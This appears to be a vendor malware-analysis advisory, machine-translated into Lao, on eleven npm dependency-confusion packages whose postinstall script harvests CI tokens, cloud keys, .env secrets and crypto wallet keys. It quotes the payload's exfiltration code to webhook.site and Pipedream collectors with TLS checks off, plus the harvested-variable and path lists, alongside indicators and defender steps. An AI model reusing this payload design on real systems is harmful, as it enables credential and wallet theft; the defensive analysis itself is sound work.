ຄວາມສັບສົນຂອງ CryptoDAO: ການເກັບກ່ຽວແພັກເກດ npm CI/CD ແລະຄວາມລັບຂອງ Crypto

ຄວາມສັບສົນຂອງ CryptoDAO: ສິບເອັດຊຸດ npm, ໜຶ່ງ payload, ການເກັບກ່ຽວ CI/CD ແລະຄວາມລັບຂອງກະເປົາເງິນດິຈິຕອນ

TL; DR

ໃນວັນທີ 2026-06-17, ບັນຊີ npm ດຽວໄດ້ຖືກເຜີຍແຜ່ ສິບເອັດແພັກເກດທີ່ມີຈຸດປະສົງດຽວກັນ ແລະ payload ດຽວສິບຄົນໃນນັ້ນຖື cryptodao- ຄຳນຳໜ້າ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ອັນທີສິບເອັດແມ່ນຂອບເຂດ @public-for-cdao/coreແຕ່ລະອັນໄດ້ຖືກເຜີຍແຜ່ໃນລຸ້ນ 99.99.99 ແລະສົ່ງໄບຕ໌ທີ່ຄືກັນ recon.js ທີ່ແລ່ນສຸດ postinstall.

ຊື່ຕ່າງໆແມ່ນຕົວຊີ້ບອກ. ພວກມັນອ່ານຄືກັບກ້ອນກໍ່ສ້າງພາຍໃນຂອງເຄື່ອງມືສ່ວນຕົວຂອງໂຄງການ crypto/DAO. ເຜີຍແຜ່ໃນທະບຽນ npm ສາທາລະນະໃນລຸ້ນທີ່ສູງກວ່າທຽມ, ພວກມັນລໍຖ້າການສ້າງ. pipeline ທີ່ຖືກຕັ້ງຄ່າໃຫ້ແກ້ໄຂຊື່ເຫຼົ່ານັ້ນ ແລະ ເຂົ້າເຖິງ npm ສາທາລະນະກ່ອນ — ຫຼື ແທນ — ການລົງທະບຽນສ່ວນຕົວ. ນີ້ແມ່ນ ຄວາມສັບສົນໃນການເພິ່ງພາອາໄສ, ແລະ payload ໄດ້ຖືກປັບແຕ່ງໃຫ້ເໝາະສົມກັບບ່ອນທີ່ມັນຄາດວ່າຈະລົງຈອດຢ່າງແນ່ນອນ: CI/CD runners.

ເມື່ອ​ໃດ​ postinstall ໄຟໄໝ້, recon.js ເກັບກຳລາຍລະອຽດຂອງເຈົ້າພາບ, ກວາດລ້າງຢ່າງຫຍາບຄາຍ ຕົວແປສະພາບແວດລ້ອມຄລາວ, CI, ແລະກະເປົາເງິນດິຈິຕອນສີ່ສິບຕົວ, ອ່ານອັນໃດກໍໄດ້ .env ມັນສາມາດຊອກຫາ ແລະ ສົ່ງຕໍ່ສາຍລັບຕາມຕົວໜັງສື, ຈາກນັ້ນສົ່ງມັດໄປຫາຜູ້ເກັບກຳສອງຄົນ — webhook.site ແລະຈຸດສິ້ນສຸດ Pipedream — ໂດຍປິດການໃຊ້ງານການຢັ້ງຢືນໃບຢັ້ງຢືນ TLS. ສຳເນົາຍັງຖືກຂຽນຢູ່ພາຍໃຕ້ /tmp.

ຄວາມຮຸນແຮງ: ສູງລະບົບນິເວດທີ່ໄດ້ຮັບຜົນກະທົບ: npmແພັກເກດທັງສິບເອັດຊຸດໄດ້ຖືກເຜີຍແຜ່ໃນເວລາຂຽນ.

ກາຍວິພາກການໂຈມຕີ

ກົນໄກດັ່ງກ່າວມີສີ່ສ່ວນທີ່ເຄື່ອນທີ່, ແລະບໍ່ມີອັນໃດທີ່ລະອຽດອ່ອນເມື່ອທ່ານຮູ້ຈັກ ເບິ່ງຊັ້ນໜຶ່ງຜ່ານຊື່ແພັກເກດ.

1. ອັດຕາເງິນເຟີ້ຂອງເວີຊັນເປັນຕົວລໍ້ລວງແກ້ໄຂ. ແຕ່ລະແພັກເກດປະກາດລຸ້ນ 99.99.99ຄວາມສັບສົນຂອງ dependency ຈະເຮັດວຽກເມື່ອຜູ້ຈັດການແພັກເກດຮ້ອງຂໍໃຫ້ ຊື່ພາຍໃນ, ຍັງກວດສອບການລົງທະບຽນສາທາລະນະ ແລະ ເລືອກລຸ້ນສູງສຸດຂອງມັນ finds. ການເລືອກເລີ່ມຕົ້ນຂອງ npm ສຳລັບຊ່ວງ caret ຫຼື wildcard ແມ່ນ ເວີຊັນທີ່ໜ້າພໍໃຈສູງສຸດໃນທຸກແຫຼ່ງຂໍ້ມູນທີ່ຕັ້ງຄ່າໄວ້; ຖ້າທັງສອງເປັນສ່ວນຕົວ ຄຳຕອບຂອງ registry ແລະ public npm ສຳລັບຊື່ດຽວກັນ, ໝາຍເລກລຸ້ນທີ່ໃຫຍ່ກວ່າຈະຊະນະ. A 99.99.99 ໂດຍພື້ນຖານແລ້ວມັນມີອັນດັບສູງກວ່າລຸ້ນພາຍໃນຕົວຈິງໃດໆທີ່ໂຄງການຈະມີ ຮອດແລ້ວ, ສະນັ້ນຕົວແກ້ໄຂທີ່ບໍ່ໄດ້ປັກໝຸດໄວ້ໃນແຫຼ່ງຂໍ້ມູນສ່ວນຕົວມັກ ສາທາລະນະ - ແລະໃນກໍລະນີນີ້, ເປັນການກະທຳທີ່ເປັນປໍລະປັກ - ສຳເນົາ. ຜູ້ປະກອບການບໍ່ຈຳເປັນຕ້ອງຮູ້ ຕົວເລກລຸ້ນຕົວຈິງຂອງເປົ້າໝາຍ; ການເລືອກຄ່າສູງສຸດທີ່ບໍ່ສົມເຫດສົມຜົນຮັບປະກັນວ່າຈະສະເໝີກັນສະເໝີ ທຳລາຍທາງຂອງເຂົາເຈົ້າ.

2. ຕົວກະຕຸ້ນຫຼັງການຕິດຕັ້ງ. ຊຸດ .json ສາຍໄຟໃສ່ກັບອຸປະກອນຕິດຕັ້ງ ວົງຈອນຊີວິດ:

{   "scripts": { "postinstall": "node recon.js" } }

ບໍ່ຈຳເປັນຕ້ອງນຳເຂົ້າແພັກເກດ. ພຽງແຕ່ຕິດຕັ້ງມັນ — ເຊິ່ງເປັນ CI pipeline ເຮັດໂດຍອັດຕະໂນມັດ — ແລ່ນ recon.js.

3. ການກວາດລ້າງຄວາມລັບຢ່າງກວ້າງຂວາງ. recon.js ລວບລວມອາເຣຜົນໄດ້ຮັບເປັນຂັ້ນຕອນຕ່າງໆ:

  • ບໍລິບົດໂຮສ: ຊື່ໂຮສ, ແພລດຟອມ ແລະ ການປ່ອຍ, ສະຖາປັດຕະຍະກຳ, ຊື່ຜູ້ໃຊ້, ການເຮັດວຽກ ລະບົບ.
  • ຕົວແປສະພາບແວດລ້ອມ: ມັນເຮັດຊ້ຳລາຍຊື່ຄົງທີ່ປະມານສີ່ສິບຊື່ ແລະ ບັນທຶກ ອັນໃດກໍໄດ້ທີ່ຕັ້ງໄວ້. ລາຍຊື່ນີ້ເປີດເຜີຍ — ມັນຈັບຄູ່ໂທເຄັນ CI ທົ່ວໄປ (CI_JOB_TOKEN, ລະຫັດຜ່ານ CI_REGISTRY, GITLAB_ACCESS_TOKEN) ແລະ ເມກ ຂໍ້ມູນປະຈຳຕົວ (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) ດ້ວຍຄວາມລັບຂອງລີຈິດສະຕຣີ ແລະ ຄອນເທນເນີ (NPM_TOKEN, ລະຫັດຜ່ານ DOCKER, ລະຫັດຜ່ານ HARBOR) ແລະກຸ່ມທີ່ມີລົດຊາດ crypto ຢ່າງຊັດເຈນ:  PRIVATE_KEY, MNEMONIC, ເມັດພັນ, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCຄ່າທີ່ບັນທຶກໄວ້ຈະຖືກຕັດອອກເປັນ 50 ຕົວອັກສອນທຳອິດ.
  • .env ໄຟລ໌: ມັນກວດສອບລາຍຊື່ເສັ້ນທາງ - .env, ../.env, /ແອັບ/.env, /ແອັບ/ແບັກເອັນ/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, ແລະ .ການຜະລິດ/.ການພັດທະນາ ຕົວແປຕ່າງໆ - ແລະສຳລັບໄຟລ໌ໃດໆທີ່ມີຢູ່, ມັນ ກັ່ນຕອງເນື້ອຫາໃຫ້ເປັນເສັ້ນທີ່ກົງກັນ ກະແຈ|ຄວາມລັບ|ໂທເຄັນ|ຜ່ານ|ສ່ວນຕົວ|ຕົວຊ່ວຍຈຳ ແລະ ຍູ້ບັນທັດເຫຼົ່ານັ້ນ **ຢ່າງຄົບຖ້ວນ, ບໍ່ໄດ້ຕັດອອກ** ເຂົ້າໄປໃນຜົນໄດ້ຮັບ.
  • ບໍລິບົດ Build-host: ມັນລະບຸ 20 ລາຍການທຳອິດຂອງ /ສ້າງ/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, ແລະ / tmp /.

ລາຍຊື່ເສັ້ນທາງ ແລະ ລາຍຊື່ຕົວແປແມ່ນຖືກຖ່ວງນໍ້າໜັກໃສ່ຜູ້ແລ່ນ GitLab, ເຊິ່ງຊີ້ payload ໂດຍກົງຢູ່ທີ່ໂຄງສ້າງພື້ນຖານ CI ທີ່ໂຮດດ້ວຍຕົນເອງແທນທີ່ຈະເປັນນັກພັດທະນາ ແລັບທັອບ. ການຈັດກຸ່ມລາຍການເກັບກ່ຽວຕາມໝວດໝູ່ເຮັດໃຫ້ການຂົນສົ່ງທີ່ຕັ້ງໃຈໄວ້ເປັນເລື່ອງທຳມະດາ:

ປະເພດ ຕົວແປ / ເສັ້ນທາງທີ່ບັນລຸໄດ້
CI/CD ຕົວຕົນ ແລະ ການນຳໃຊ້ CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
ຟັງ AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
ທະບຽນ ແລະ ຕູ້ຄອນເທນເນີ NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
ການເກັບຮັກສາຂໍ້ມູນ DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
ຄຣິບໂຕ / ບແຊັກແຊນ PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
ສົ່ງຂໍ້ຄວາມ SLACK_TOKEN, DISCORD_TOKEN
ໃນແຜ່ນດິດ .env ຄອບຄົວ + /home/gitlab-runner/.env, /root/.env, /app/**/.env; ລາຍຊື່ໄດເລກະທໍລີຂອງ /builds/, /var/lib/gitlab-runner/

ກຸ່ມ crypto ແມ່ນສ່ວນທີ່ແຍກຄວາມແຕກຕ່າງນີ້ອອກຈາກ CI-secret ທົ່ວໄປ sweep: ປະໂຫຍກເມັດພັນກະເປົາເງິນ ແລະ ລະຫັດລາຍເຊັນຈະປາກົດຢູ່ໃນສະພາບແວດລ້ອມຂອງ ໂຄງການ blockchain, ແລະພວກມັນສ້າງແຜນທີ່ໂດຍກົງໃສ່ cryptodao-/ຂຽນ/ສັນຍາ ການຕັ້ງຊື່ຜູ້ຂົນສົ່ງ.

4. ການກັ່ນຕອງສອງຊັ້ນດ້ວຍການຢັ້ງຢືນທີ່ຖືກປິດໃຊ້ງານ. ອາເຣທີ່ເກັບກຳມາແມ່ນ ຖືກຈັດລຳດັບ ແລະ ໂພສໄປຍັງສອງຈຸດໝາຍປາຍທາງ:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

ປະຕິເສດບໍ່ໄດ້ຮັບອະນຸຍາດ: false ປິດການກວດສອບໃບຢັ້ງຢືນ TLS ສຳລັບຂາອອກ ການໂທ. ຂໍ້ມູນດຽວກັນນີ້ຖືກພິມໄປທີ່ stdout (ສະນັ້ນມັນຍັງຕົກຢູ່ໃນບັນທຶກວຽກ CI) ແລະ ຂຽນຫາ /tmp/.npm_recon_ .jsonຄວາມຜິດພາດຖືກກືນກິນຢ່າງງຽບໆ, ສະນັ້ນ ການສົ່ງທີ່ລົ້ມເຫຼວບໍ່ປະໄວ້ຮ່ອງຮອຍໃດໆໃນຜົນຜະລິດການຕິດຕັ້ງນອກຈາກອັນດຽວ [ທົບທວນຄືນ] ຕິດຕັ້ງຢູ່ ເສັ້ນ.

ຄຳເຫັນນຳໜ້າໃນໄຟລ໌ອະທິບາຍວ່າມັນເປັນ “ຄວາມສັບສົນໃນການເພິ່ງພາອາໄສ” ນ້ຳໜັກການສຳຫຼວດ.” ການຕັດຄ່າສະພາບແວດລ້ອມລົງເຫຼືອ 50 ຕົວອັກສອນມີ ຮູບຮ່າງຂອງຫຼັກຖານຂອງແນວຄວາມຄິດ. ສິ່ງທີ່ຍ້າຍມັນຜ່ານສັນຍານສັນຍານທີ່ມີພຽງແຕ່ການມີໜ້າເທົ່ານັ້ນແມ່ນ .env ການຈັດການ: ສາຍທີ່ມີຂໍ້ມູນລັບຖືກສົ່ງຕໍ່ຢ່າງເຕັມທີ່, ແລະຈຸດໝາຍປາຍທາງ ແມ່ນຕົວເກັບກຳສອງອັນທີ່ເຮັດວຽກໄດ້, ຄວບຄຸມໂດຍຜູ້ໂຈມຕີ ແທນທີ່ຈະເປັນອ່າງລ້າງມືທີ່ນັບໄດ້ເທົ່ານັ້ນ ຕີ.

ກໍານົດເວລາ

ຮູບແບບການເຜີຍແຜ່ແມ່ນລາຍເຊັນຂອງການຊຸກຍູ້ທີ່ມີສະຄຣິບດຽວ, ບໍ່ແມ່ນສິບເອັດ ການອັບໂຫລດເອກະລາດ.

ເວລາ (UTC, 2026-06-17) ກໍລະນີ
03:24:58 cryptodao-bot@99.99.99 ຈັດພີມມາ
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — ຕົວແປທີ່ມີຂອບເຂດ, ~24 ນາທີຕໍ່ມາ

ມີສິບຊຸດຖືກສົ່ງອອກພາຍໃນໄລຍະເວລາ 29 ວິນາທີ, ປະມານໜຶ່ງຊຸດທຸກໆສາມວິນາທີ. ຂອບເຂດທີ່ກຳນົດໄວ້ @ສາທາລະນະສຳລັບ cdao/ຫຼັກ ຕິດຕາມມາປະມານ 24 ນາທີຫຼັງຈາກນັ້ນ - ວິນາທີ ສົນທິສັນຍາການຕັ້ງຊື່ສຳລັບເປົ້າໝາຍດຽວກັນ, ໃນກໍລະນີທີ່ໂຄງການທີ່ບໍລິໂພກອ້າງອີງເຖິງ ລະບົບຕ່ອງໂສ້ເຄື່ອງມືພາຍໃນພາຍໃຕ້ຂອບເຂດແທນທີ່ຈະເປັນຊື່ເປົ່າ.

ຕົວຊີ້ວັດຂອງການປະນີປະນອມ

ປະເພດ ຕົວຊີ້ວັດ
ຜູ້ເກັບຂອງ hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
ຜູ້ເກັບຂອງ hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
ຕິດຕັ້ງຕະຂໍ postinstall: node recon.js
ໄຟລ໌ທີ່ຖືກຖິ້ມ /tmp/.npm_recon_<timestamp>.json
ເຄື່ອງໝາຍບັນທຶກ [recon] <pkg>@<ver> installed on <hostname> (stdout ໃນບັນທຶກ CI)
ພຶດຕິກໍາ rejectUnauthorized: false ໃນ HTTPS ຂາອອກໃນລະຫວ່າງການຕິດຕັ້ງ
Payload recon.js, ຄືກັນໃນທຸກສິບເອັດແພັກເກດ (ໜຶ່ງລຸ້ນທີ່ໃຊ້ຮ່ວມກັນ)
Version 99.99.99 ໃນທຸກໆແພັກເກດ
ການຫຸ້ມຫໍ່ cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ທັງ ໝົດ 99.99.99)
ສໍານັກພິມ aduljune / aduljune@proton.me (ອີເມວບໍ່ໄດ້ຮັບການຢືນຢັນ, ບໍ່ມີບ່ອນເກັບມ້ຽນແຫຼ່ງຂໍ້ມູນທີ່ເຊື່ອມໂຍງ)

 ການລະບຸຕົວຕົນ ແລະ ພຶດຕິກຳທີ່ສັງເກດເຫັນ

ທຸກຢ່າງກ່ຽວກັບຈຸດຂອງກຸ່ມຢູ່ໃນມືດຽວ. ຊຸດທັງໝົດສິບເອັດຊຸດໄດ້ຖືກເຜີຍແຜ່ ໂດຍບັນຊີ npm ອາດູລຈູນ (aduljune@proton.me, ທີ່ຢູ່ທີ່ຍັງບໍ່ໄດ້ຢືນຢັນ ແລະ ບໍ່ມີ ບ່ອນເກັບມ້ຽນແຫຼ່ງຂໍ້ມູນທີ່ເຊື່ອມໂຍງ), ພາຍໃນໄລຍະເວລາ 25 ນາທີ, ໃນເວລາດຽວກັນ 99.99.99 ຮຸ່ນ, ການຂົນສົ່ງ recon.js ເຊິ່ງເນື້ອໃນແມ່ນຄືກັນທຸກໆໄບຕ໌ຕໍ່ໄບຕ໌ ແພັກເກັດ (MD5 ກົງກັນໃນທຸກສິບເອັດສຳເນົາທີ່ສະກັດອອກມາ). ນັ້ນແມ່ນໜຶ່ງ payload ປະທັບໃສ່ລາຍຊື່ຊື່, ບໍ່ແມ່ນການໃຊ້ລະຫັດຄືນໃໝ່ແບບອິດສະຫຼະ.

ບັນຊີລາຍຊື່ຊື່ກຳນົດເປົ້າໝາຍທີ່ຕັ້ງໃຈໄວ້. cryptodao-* ແລະ cdao ອະທິບາຍ ຮູບແບບໂມດູນສ່ວນຕົວຂອງໂຄງການ crypto/DAO, ແລະລາຍຊື່ການເກັບກ່ຽວຂອງ payload ກະຈົກທີ່ຄາດເດົາ: ຄຽງຄູ່ກັບ CI ທົ່ວໄປ ແລະ ຄວາມລັບຂອງຄລາວ, ມັນໂດຍສະເພາະ ຮອດ PRIVATE_KEY, MNEMONIC, ເມັດພັນ, ແລະ Ethereum/BSC RPC ແລະ ລະຫັດຜູ້ໃຫ້ບໍລິການ. .env ເສັ້ນທາງການຄົ້ນຫາ ແລະ ລາຍຊື່ໄດເລກະທໍລີແມ່ນ GitLab-runner ສະເພາະ. ຜົນກະທົບທີ່ສັງເກດເຫັນໄດ້ແມ່ນວ່າ pipeline ຖືກຫຼອກລວງໃຫ້ຕິດຕັ້ງສິ່ງເຫຼົ່ານີ້ ຊື່ຕ່າງໆຈະສົ່ງຕໍ່ໂທເຄັນ CI, ກະແຈຄລາວ ແລະ ໃນດິດຂອງມັນ .env ຄວາມລັບ - ແລະ, ສຳລັບ ໂຄງການ blockchain, ວັດສະດຸກະເປົາເງິນຂອງມັນ - ໃຫ້ແກ່ຜູ້ເກັບກຳພາກສ່ວນທີສາມສອງຄົນ.

ພວກເຮົາບໍ່ໄດ້ອ້າງສິດກ່ຽວກັບຜູ້ທີ່ດຳເນີນການບັນຊີ ຫຼື ສິ່ງທີ່ເຂົາເຈົ້າວາງແຜນທີ່ຈະເຮັດກັບ ຂໍ້ມູນ. ຂໍ້ເທັດຈິງທີ່ຢືນຢູ່ດ້ວຍຕົວມັນເອງ: ຊື່ຕ່າງໆແນໃສ່ປະເພດສະເພາະໃດໜຶ່ງ ລະບົບຕ່ອງໂສ້ເຄື່ອງມືພາຍໃນ, payload ຈະອ່ານ ແລະ ສົ່ງຄ່າລັບທີ່ແທ້ຈິງ, ແລະ ພື້ນຖານໂຄງລ່າງ ໄດ້ຖ່າຍທອດສົດ.

ຜົນກະທົບ, ແນວໂນ້ມ ແລະ ການຊີ້ນຳຂອງຜູ້ຖືກກ່າວຟ້ອງ

ຄວາມ​ສັບສົນ​ຂອງ​ການ​ເພິ່ງ​ພາ​ອາ​ໄສ ຍັງຄົງມີປະສິດທິພາບເພາະມັນໃຊ້ປະໂຫຍດຈາກພຶດຕິກຳຂອງຕົວແກ້ໄຂ, ບໍ່ແມ່ນ ຊ່ອງໂຫວ່ໃນແພັກເກດໃດກໍ່ຕາມ. ຜູ້ໃຫ້ບໍລິການຢູ່ທີ່ນີ້ແມ່ນບໍ່ສຳຄັນ — ສິບເອັດເກືອບວ່າງເປົ່າ ແພັກເກດ - ແຕ່ລັດສະໝີຂອງການລະເບີດແມ່ນອັນໃດກໍຕາມ pipeline ມັກ npm ສາທາລະນະໂດຍຜິດພາດ ສຳລັບຊື່ພາຍໃນ. ຜູ້ແລ່ນ CI ແມ່ນສະຖານທີ່ທີ່ຮ້າຍແຮງທີ່ສຸດສຳລັບເຫດການນັ້ນທີ່ຈະເກີດຂຶ້ນ: ພວກເຂົາຖື ແນ່ນອນໂທເຄັນ ແລະ .env ໄຟລ໌ທີ່ payload ນີ້ອ່ານ, ແລະພວກມັນຕິດຕັ້ງ ການເພິ່ງພາອາໄສທີ່ບໍ່ມີການໂຕ້ຕອບ, ສະນັ້ນ a ຕິດຕັ້ງຫຼັງ ແລ່ນໂດຍບໍ່ມີໃຜເບິ່ງ.

ກຸ່ມນີ້ຍັງເໝາະສົມກັບຮູບແບບທີ່ພວກເຮົາເຫັນຢູ່ເລື້ອຍໆ: payloads ເວລາຕິດຕັ້ງທີ່ນຳສະເໜີ ເປັນ “ການຄົ້ນຄວ້າ” ຫຼື “ການສຳຫຼວດ” ໃນຂະນະທີ່ເຮັດການເກັບກຳຂໍ້ມູນປະຈຳຕົວຕົວຈິງ. ປ້າຍຊື່ ໃນໄຟລ໌ບໍ່ໄດ້ປ່ຽນແປງສິ່ງທີ່ລະຫັດເຮັດໃນ runner. ສອງທາງເລືອກໃນການອອກແບບຮັກສາໄວ້ ກິດຈະກຳທີ່ງຽບສະຫງົບ: ທຸກໆການດຳເນີນງານຂອງເຄືອຂ່າຍ ແລະ ລະບົບໄຟລ໌ແມ່ນຖືກຫໍ່ໄວ້ໃນ ຕົວຈັດການຂໍ້ຍົກເວັ້ນທີ່ຍົກເລີກຄວາມຜິດພາດ, ດັ່ງນັ້ນການສົ່ງທີ່ຖືກບລັອກ ຫຼື ໄຟລ໌ທີ່ຫາຍໄປ ບໍ່ໄດ້ຜະລິດຜົນຜະລິດການວິນິດໄສ, ແລະສິ່ງດຽວທີ່ພິມອອກມາແມ່ນອັນດຽວທີ່ບໍ່ເປັນອັນຕະລາຍ [ແກ້ໄຂ] … ຕິດຕັ້ງແລ້ວ ສາຍທີ່ປະສົມເຂົ້າກັບສຽງເວົ້າໃນການຕິດຕັ້ງປົກກະຕິ. ການນໍາໃຊ້ ເວັບໄຊທ໌ webhook ແລະ Pipedream ກໍ່ເປັນຄວາມສະດວກສະບາຍໂດຍເຈດຕະນາ - ທັງສອງຢ່າງແມ່ນບໍ່ເສຍຄ່າ, ໃຫ້ບໍລິການບັນທຶກການຮ້ອງຂໍທັນທີ, ດັ່ງນັ້ນຜູ້ປະຕິບັດການຈຶ່ງບໍ່ຕ້ອງການເຊີບເວີຂອງ ຂອງຕົນເອງ ແລະ ຈຸດໝາຍປາຍທາງເບິ່ງຄືກັບຊື່ໂຮດ SaaS ທຳມະດາໃນບັນທຶກການອອກ.

ເສດຖະສາດແມ່ນສິ່ງທີ່ເຮັດໃຫ້ສິ່ງນີ້ຄຸ້ມຄ່າກັບຄວາມສົນໃຈຂອງຜູ້ຖືກກ່າວຟ້ອງເຖິງແມ່ນວ່າ ລະຫັດຜູ້ໃຫ້ບໍລິການແມ່ນບໍ່ສຳຄັນ. ການລົງທະບຽນສິບເອັດຊື່ບໍ່ມີຄ່າໃຊ້ຈ່າຍ, ສ່ວນ payload ແມ່ນໜຶ່ງຊື່ ໄຟລ໌ຖືກຄັດລອກສິບເອັດເທື່ອ, ແລະຕົວຈັດການແພັກເກດເຮັດການປະຕິບັດທັງໝົດ. ອັນດຽວ ຕັ້ງຄ່າຜິດ pipeline ບ່ອນໃດກໍຕາມທີ່ໃຊ້ຊື່ໃດໜຶ່ງໃນຊື່ເຫຼົ່ານີ້ ຈະຈ່າຍຄ່າທັງໝົດ ການປະຕິບັດງານ.

ຂັ້ນຕອນທີ່ແນ່ນອນສຳລັບຜູ້ປ້ອງກັນ:

  • ປັກໝຸດຂອບເຂດພາຍໃນໃສ່ທະບຽນສ່ວນຕົວຂອງທ່ານ. ກຳນົດຄ່າ npm so ຊື່ພາຍໃນ
     ແລະ ຂອບເຂດແກ້ໄຂສະເພາະຕໍ່ກັບລີຈິດສະຕຣີຂອງທ່ານ (ການຈັບຄູ່ລີຈິດສະຕຣີທີ່ມີຂອບເຂດ .npmrc,
    ຫຼື proxy ທີ່ບໍ່ເຄີຍຕົກເປັນຂອງ public npm ສຳລັບ namespaces ທີ່ເປັນເຈົ້າຂອງ). ສະຫງວນຊື່ public scope ຂອງທ່ານໄວ້ເພື່ອບໍ່ໃຫ້ຄົນອື່ນສາມາດລົງທະບຽນໄດ້.
  • Commit lockfiles ແລະຕິດຕັ້ງດ້ວຍ –ignore-scripts ໃນ CI ບ່ອນທີ່ເປັນໄປໄດ້, ຫຼື ກວດສອບຊຸດ dependencies ຂະໜາດນ້ອຍທີ່ຕ້ອງການສະຄຣິບຕິດຕັ້ງແທ້ໆ.  recon.js ບໍ່ສາມາດດໍາເນີນການໄດ້ຖ້າ ຕິດຕັ້ງຫຼັງ ບໍ່​ໄດ້​ປະ​ຕິ​ບັດ​.
  • ປະຕິບັດຕໍ່ຊື່ທີ່ເບິ່ງຄືວ່າເປັນພາຍໃນທີ່ມີຄ່າ 99.99.99 (ຫຼື ຮຸ່ນທີ່ສູງເກີນໄປອື່ນໆ) ເປັນທຸງສີແດງ ໃນການທົບທວນການເພິ່ງພາອາໄສ ແລະ ການຕິດຕາມກວດກາການລົງທະບຽນ.
  • ແຈ້ງເຕືອນກ່ຽວກັບການອອກຈາກລະບົບໃນເວລາຕິດຕັ້ງ. A ຕິດຕັ້ງຫຼັງ ທີ່ເປີດ HTTPS ຂາອອກ ການເຊື່ອມຕໍ່ — ໂດຍສະເພາະກັບການຢືນຢັນໃບຢັ້ງຢືນທີ່ຖືກປິດໃຊ້ງານ — ກັບ webhook.site, Pipedream, ຫຼື ການບໍລິການບັນທຶກການຮ້ອງຂໍທີ່ຄ້າຍຄືກັນນີ້ ຄຸ້ມຄ່າທີ່ຈະບລັອກຢູ່ຂອບເຄືອຂ່າຍ ແລະ ໝາຍໄວ້ໃນບັນທຶກການສ້າງ.
  • ລ່າສັດສິ່ງປະດິດ. ກວດສອບນັກແລ່ນສຳລັບ /tmp/.npm_recon_*.json ແລະ ສຳ ລັບ [recon] … ຕິດຕັ້ງແລ້ວໃນ … ເຄື່ອງໝາຍໃນບັນທຶກ CI ທີ່ຜ່ານມາ. ຖ້າພົບ, ໃຫ້ໝຸນທຸກໆຄັ້ງ ຫຼັກຖານທີ່ເປີດເຜີຍຕໍ່ສິ່ງນັ້ນ pipeline — ໂທເຄັນ CI, ຄີຄລາວ, ໂທເຄັນຣີຈິສຕຣີ, ແລະ ແກ່ນກະເປົາເງິນ ຫຼື ຄີສ່ວນຕົວໃດໆທີ່ມີຢູ່ໃນສະພາບແວດລ້ອມ ຫຼື ໄຟລ໌ .env.

ເອກະສານ

ບໍ່ມີລາຍງານພາຍນອກກ່ຽວກັບກຸ່ມນີ້ໃນເວລາຂຽນ; ການວິເຄາະ ຂ້າງເທິງນີ້ແມ່ນອີງໃສ່ເນື້ອໃນຊຸດທີ່ເຜີຍແຜ່ໂດຍກົງ

ເຄື່ອງມືວິເຄາະອົງປະກອບຊອບແວ SCA
ຈັດລຳດັບຄວາມສຳຄັນ, ແກ້ໄຂ ແລະ ຮັກສາຄວາມສ່ຽງດ້ານຊອບແວຂອງທ່ານໃຫ້ປອດໄພ
ຮັບບັນຊີຟຣີຂອງທ່ານ.
ບໍ່ຕ້ອງມີບັດເຄດິດ.

ຮັບປະກັນການພັດທະນາຊອບແວ ແລະ ການຈັດສົ່ງຂອງທ່ານ

ດ້ວຍຊຸດຜະລິດຕະພັນ Xygeni